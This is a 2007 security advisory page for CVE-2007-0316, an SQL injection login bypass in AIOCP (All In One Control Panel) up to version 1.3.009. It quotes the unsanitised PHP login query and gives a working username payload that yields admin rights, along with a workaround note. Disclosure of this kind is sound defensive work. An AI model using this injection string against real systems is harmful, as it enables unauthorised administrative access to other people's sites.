SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

AIOCP Login Bypass Vulnerability


Arrow  SecurityAlert : 2166
Arrow  CVE : CVE-2007-0316
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Coloss
Arrow  Published : 22.01.2007

Arrow  Affected Software : AIOCP - All In One Control Panel



Arrow  Advisory Content :  

[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7 (at) gmail (dot) com [email concealed]
[i] Date: 9.1.2007

[i] Spec: AIOCP doesn't check the username posted by the client before
using this to check authentication, so SQL Injection is possible
Example shows how to bypass login
[i] Other infos: This works with magic_quotes_gpc = Off
[i] Workaround: Edit source code to properly check username
No official patch is yet available

[Analysis]

[Unique Step] File: AIOCP/shared/code/cp_authorization.php

90 if ((isset($_POST['logaction'])) AND ($_POST['logaction'] == "login"))
{
91 $xuser_password = md5($_POST['xuser_password']); // one-way
password encoding
92 // check if submitted login information are correct
93 $sql = "SELECT * FROM ".K_TABLE_USERS." WHERE
user_name='".$_POST['xuser_name']."' AND
user_password='".$xuser_password."'";
94 if($r = F_aiocpdb_query($sql, $db)) {
95 if($m = F_aiocpdb_fetch_array($r)) {
96 // sets some user's session data
97 $_SESSION['session_user_id'] =
$m['user_id'];
98 $_SESSION['session_user_name'] =
$m['user_name'];
99 $_SESSION['session_user_ip'] =
$_SERVER['REMOTE_ADDR'];
100 $_SESSION['session_user_level'] =
$m['user_level'];
101 $_SESSION['session_user_language'] =
$m['user_language'];
102 $_SESSION['session_alt_menu'] = 0;
//default alternative menu disabled
103 // read client cookie
104 if(isset($_COOKIE['LastVisit'])) {
105 $_SESSION['session_last_visit'] =
$_COOKIE['LastVisit'];
106 }
107 else {
108 $_SESSION['session_last_visit'] =
0;
109 }
110 $logged=TRUE;
111 }
112 else {
113 F_print_error("WARNING",
$l['m_login_wrong']);
114 }
115 }
116 else {
117 F_display_db_error();
118 }
119 }

Parameters username and password are posted by the user on any login form.
Password is crypted with md5() so it
cannot be used to perform any attack. Otherwise username isn't checked
before the SQL query is performed.

[POC]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: [sql]
Password: <any password>

[Exploit example]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE
user_name='
Password: <any password>

So you 'll get admin rights. (you 'll get rights of user with id = 2,
usually admin)

Note: You have to substitute user_id = '<user_id>' with some existing
user_id.. usually 2 is admin user id





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.